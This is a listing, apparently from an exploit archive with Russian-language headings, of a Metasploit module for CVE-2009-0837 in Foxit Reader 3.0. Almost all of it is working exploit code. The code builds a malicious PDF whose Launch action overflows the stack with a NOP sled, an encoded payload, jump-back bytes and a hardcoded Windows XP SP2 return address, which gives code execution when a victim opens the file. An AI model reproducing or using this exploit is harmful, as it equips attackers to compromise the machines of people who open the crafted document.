Foxit Reader 3.0 Open Execute Action Stack Based Buffer Overflow Exploit

Свойства

Дата публикации:
20.05.2012
Цель:
Foxit Reader 3.0
Тип воздействия:
Компрометация системы

Код

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::FILEFORMAT

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Foxit Reader 3.0 Open Execute Action Stack Based Buffer Overflow',
            'Description'    => %q{
                This module exploits a buffer overflow in Foxit Reader 3.0 builds 1301 and earlier.
                Due to the way Foxit Reader handles the input from an "Launch" action, it is possible
                to cause a stack-based buffer overflow, allowing an attacker to gain arbitrary code
                execution under the context of the user.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Francisco Falcon',  # Discovery
                    'bannedit'           # Metasploit module
                ],
            'Version'        => '$Revision: 14069 $',
            'References'     =>
                [
                    [ 'CVE' , '2009-0837' ],
                    [ 'OSVDB', '55614' ],
                    [ 'BID', '34035'],
                    [ 'URL', 'http://www.coresecurity.com/content/foxit-reader-vulnerabilities';]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'DisablePayloadHandler' => 'true',
                },
            'Payload'        =>
                {
                    'Space'    => 1024,
                    'BadChars' => "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x22\x28\x29\x2F\x5c\x3c\x3e\x5e\x7e"
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Foxit Reader 3.0 Windows XP SP2', { 'Ret' =>  0x74d34d3f} ], # ebp + offset
                ],
            'DisclosureDate' => 'Mar 09 2009',
            'DefaultTarget'  => 0))

        register_options([
            OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
        ], self.class)

    end

    def exploit
        pdf = make_pdf
        file_create(pdf)
        handler
    end

    def make_pdf
        action = "\n<</Type/Action/S/Launch/F<</F(/C/" # Open Execute Action
        action << make_nops(321 - 5)                   # make_nops(21)
        action << payload.encoded
        action << "\xe9\xe8\xfb\xff\xff"               # Jmp back to the NOPs before the payload
        action << "\xeb\xf9" + make_nops(2)            # Jmp to the near jump
        action << [target.ret].pack('V')
        action << "\x92" * 16
        action << ")>>/NewWindow true>>"

        pdf =  "%PDF-1.4\n"
        pdf << "1 0 obj\n"
        pdf << "<</Type/Page/Parent 4 0 R /Resources 6 0 R /MediaBox[ 0 0 000 000]"
        pdf << "/Group<</S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R "
        pdf << "/Annots[ 24 0 R  25 0 R  9 0 R ]>>\n"
        pdf << "endobj\n"
        pdf << "4 0 obj\n"
        pdf << "<</Type/Pages/Resources 6 0 R /MediaBox[ 0 0 000 000]/Kids[ 1 0 R ]/Count 1>>\n"
        pdf << "endobj\n"
        pdf << "7 0 obj\n"
        pdf << "<</Type/Catalog/Pages 4 0 R /OpenAction[ 1 0 R /XYZ null null 0]/Lang(en-US)/Names 28 0 R >>\n"
        pdf << "endobj\n"
        pdf << "9 0 obj\n"
        pdf << "<</Type/Annot/Subtype/Screen/P 1 0 R /M(E:000000000000000-00'00')/F 4/Rect[ "
        pdf << "000.000 000.000 000.000 000.000]/BS<</S/S/W 1>>/BE<</S/S>>/MK<</BC[ 0 0 1]"
        pdf << "/R 0/IF<</SW/A/S/A/FB false/A[ 0.5 0.5]>>>>/AP<</N 10 0 R >>/T()/A 12 0 R /AA 17 0 R >>\n"
        pdf << "endobj\n"
        pdf << "16 0 obj\n"
        pdf << action
        pdf << "endobj\n"
        pdf << "17 0 obj\n"
        pdf << "<</PV 16 0 R >>\n"
        pdf << "endobj\n"
        pdf << "trailer\n"
        pdf << "<</Root 7 0 R /Info 8 0 R /ID[<00000000000000000000000000000000><00000000000000000000000000000000>]"
        pdf << "/DocChecksum/00000000000000000000000000000000/Size 31>>\n"
        pdf << "startxref\n"
        pdf << "0000\n"
        pdf << "%%EOF\n"
        pdf
    end
end
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